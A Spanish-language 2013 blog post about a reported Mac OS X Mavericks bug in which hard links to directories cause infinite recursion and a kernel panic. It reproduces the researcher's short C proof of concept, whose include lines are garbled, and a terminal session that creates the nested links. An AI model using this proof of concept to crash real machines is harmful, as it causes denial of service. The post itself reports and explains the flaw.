Menú principal

jueves, 14 de noviembre de 2013

Hard Link Memory Corruption en Apple OS X Mavericks

Es conocido que en la mayoría de los sistemas *NIX un enlace duro a un directorio está reservado para el usuario root, cuando se indica un path absoluto. En Mac OS X 10.6 existía una vulnerabilidad de este tipo, la cual se encuentra documentada en el siguiente CVE-2010-0105. La semana pasada ha sido descubierta una vulnerabilidad en Mac OS X 10.9 Mavericks, el cual provoca un kernel panic al intentar listar un enlace duro con recursividad infinita. Como se puede leer en la Wikipedia, para evitar la recursividad infinita, los sistemas operativos más modernos no permiten enlaces duros a directorios.

Además, los enlaces duros en los directorios conducirían a la inconsistencia en las entradas del directorio padre. La excepción confirmada es Mac OS X 10.5 Leopard, el cual utiliza enlaces duros a directorios para el mecanismo de copia de seguridad Time Machine, solamente.  Conocido esto, hay que decir que el investigador Maksymilian Arciemowicz ha descubierto que en Mac OS X 10.9 se puede crear un enlace a disco provocando recursividad infinita, con un sencillo código en C. El código lo exponemos a continuación.
#include
#include void usage(const char* program) { const char* message = " [src_dir] [target_dir]"; fprintf(stderr, "%s%s\n", program, message); } int main(int argc, char* argv[]) { if (argc!=3) { usage(argv[0]); return 1; } int ret = link(argv[1],argv[2]); fprintf(stderr,"link(3) return= %d\n", ret); return ret; }
El autor opina que es un fallo de seguridad y que Apple debería corregirlo, aunque Apple no ha concedido esto como vulnerabilidad y  en la lista Bugtraq se ha debatido el porqué del problema: "los enlaces duros de directorios no pueden tener el mismo padre". La ejecución de dicha vulnerabilidad con el código se puede visualizar a continuación:
mac-cxs-XK:pochd XK$ gcc -o test test.c
mac-cxs-XK:pochd XK$ ls
test test.c
mac-cxs-XK:pochd XK$ mkdir DIR1
mac-cxs-XK:pochd XK$ ./test DIR1 Hardlink1
link(3) return= -1
mac-cxs-XK:pochd XK$ mkdir DIR1/DIR2
mac-cxs-XK:pochd XK$ ./test DIR1/DIR2 Hardlink2
link(3) return= 0
mac-cxs-XK:pochd XK$ cd DIR1
mac-cxs-XK:DIR1 XK$ mkdir DIR2/DIR3
mac-cxs-XK:DIR1 XK$ ../test DIR2/DIR3 Hardlink3
link(3) return= 0
mac-cxs-XK:DIR1 XK$ cd DIR2
mac-cxs-XK:DIR2 XK$ mkdir DIR3/DIR4
mac-cxs-XK:DIR2 XK$ ../../test DIR3/DIR4 Hardlink4
link(3) return= -1
Puede haber muchas consecuencias negativas que se obtienen del mal manejo del enlace duro. Se sabe que existe la vía de agotar los recursos del sistema a través de dicha vulnerabilidad, pudiendo causar bloqueos de aplicaciones, o como se produce con esta vulnerabilidad kernel panic. Habrá que esperar a una nueva actualización de OS X Mavericks

No hay comentarios:

Publicar un comentario en la entrada

Entrada destacada

En el futuro iPhone podrá recopilar biometría y fotos de los ladrones

Apple ha obtenido una patente el pasado jueves en la que se describe un método de almacenamiento de datos biométricos de un usuario no...

Otras historias relacionadas

Entradas populares